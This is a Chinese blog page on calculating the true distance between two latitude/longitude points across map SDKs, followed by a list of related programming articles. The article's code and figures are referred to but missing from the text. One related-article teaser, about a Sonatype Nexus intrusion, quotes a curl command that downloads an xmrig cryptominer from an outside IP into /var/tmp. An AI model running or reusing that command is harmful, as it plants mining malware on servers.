如何获取经纬度之间两点间真实距离(适用于GoogleMap,BaiduMap,Amap等)

 目标:使用百度定位sdk开发实时移动距离计算功能,根据经纬度的定位,计算行驶公里数并实时刷新界面显示。
大家都知道定位有三种方式:GPS 、Wifi 、 基站 .
误差方面的话,使用GPS误差在10左右,Wifi则在20 - 300左右 ,而使用基站则误差在100 - 300左右的样子,因为在室内GPS是定位不到的,必须在室外,
而我们项目的需求正好需要使用GPS定位,所以我们这里设置GPS优先。车,不可能在室内跑吧。

看标题就会明白,两个经纬度之间真实距离这个一般的地图API有自带方法,直接调用便可得到结果,一般结果都是以米为单位。最近在做Android版上的GoogleMap,找了半天API发现没有此类方法,看来只能自己实现了,接下来我就把如何计算两点之间(经纬度)的真实距离的算法写下来,原则上在各种地图版本上都通用,方便大家使用。

Google Map API:https://developers.google.com/maps/documentation/android/

【本文适用于android,iOS等各种平台下的地图经纬度测距】

自己实现距离算法:

举例:(我使用的百度地图的经纬度数据)

log日志结果为:402.21321(km)

害怕不准确的话,可以打开百度地图首页,使用测距工具:

看图应该知道,应该没什么问题吧。

公式推导过程见:https://blog.csdn.net/xiejm2333/article/details/73297004

获取经纬度之间两点间真实距离(适用于GoogleMap,BaiduMap,Amap等)的更多相关文章

  1. TSQL 根据经纬度计算两点间的距离;返回米(m)

    -- ============================================= -- Author:Forrest -- Create date: 2013-07-16 -- Des ...

  2. php根据地球上任意两点的经纬度计算两点间的距离 原理

    地球是一个近乎标准的椭球体,它的赤道半径为6378.140千米,极半径为6356.755千米,平均半径6371.004千米.如果我们假设地球是一个完美的球体,那么它的半径就是地球的平均半径,记为R.如 ...

  3. 经纬度计算两点间的距离,根据距离排序SQL

    #java的Utilspublic class DistanceUtil { // 地球平均半径 private static final double EARTH_RADIUS = 6378137; ...

  4. C# JackLib系列之如何获取地球上两经纬度坐标点间的距离

    获取地球上两经纬度坐标点间的距离,利用[大圆距离公式]   A diagram illustrating great-circle distance (drawn in red) between tw ...

  5. 计算GPS两点间的距离[单位为:米]

    /**     * 计算GPS两点间的距离[单位为:米]     * @param center GPS当前数据(LonLat对象表示,LonLat.lon表示经度,LonLat.lat表示纬度)   ...

  6. HDOJ2001计算两点间的距离

    计算两点间的距离 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Su ...

  7. J - 计算两点间的距离

      Time Limit:1000MS     Memory Limit:32768KB     64bit IO Format:%I64d & %I64u   Description 输入两 ...

  8. 计算两点间的距离-hdu2001

    Problem Description 输入两点坐标(X1,Y1),(X2,Y2),计算并输出两点间的距离.   Input 输入数据有多组,每组占一行,由4个实数组成,分别表示x1,y1,x2,y2 ...

  9. 计算两点间的距离,hdu-2001

    计算两点间的距离 Problem Description 输入两点坐标(X1,Y1),(X2,Y2),计算并输出两点间的距离.   Input 输入数据有多组,每组占一行,由4个实数组成,分别表示x1 ...

随机推荐

  1. Radar Installation---(贪心)

    Radar Installation Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 115873   Accepted: 2 ...

  2. 计算属性和监听,computed,watch

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  3. LINUXJI积算器bc

    hling@hling:~$ bcbc 1.06.95Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundatio ...

  4. Broadcast

    静态注册广播接收器 1. 活动中创建内部类继承BroadcastReceiver实现 onReceive函数 2. new 一个内部类的对象 3. registerReceiver注册内部类 4. 在 ...

  5. HTML、CSS知识点,面试开发都会需要--No.7 数据列表

    No.7 数据列表 1.无序列表Unordered List 无序列表用block-level元素ul(unordered list)表示,每个item单独使用li(list)标记.如下代码所示: & ...

  6. 关闭shift中英文切换 英文代码/中文注释随意切换着写。

    x 背景 写代码的时候总是意外的就切成中文了,特别是代码中大小写切换的这种情况... 例如:"public static TimeZone CurrentTime..."publi ...

  7. 判断是手机请求还是pc请求

    网址 http://detectmobilebrowsers.com/ string u = Request.ServerVariables["HTTP_USER_AGENT"]; ...

  8. Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞

    发现被执行的程序在xmrig在 /var/tmp/目录下 ,脚本文件内容为以下: curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o ...

  9. [LeetCode] 90.Subsets II tag: backtracking

    Given a collection of integers that might contain duplicates, nums, return all possible subsets (the ...

  10. 竖倾斜ScrollView

    using UnityEngine; using UnityEngine.EventSystems; public class ObliqueScroll : MonoBehaviour,IDragH ...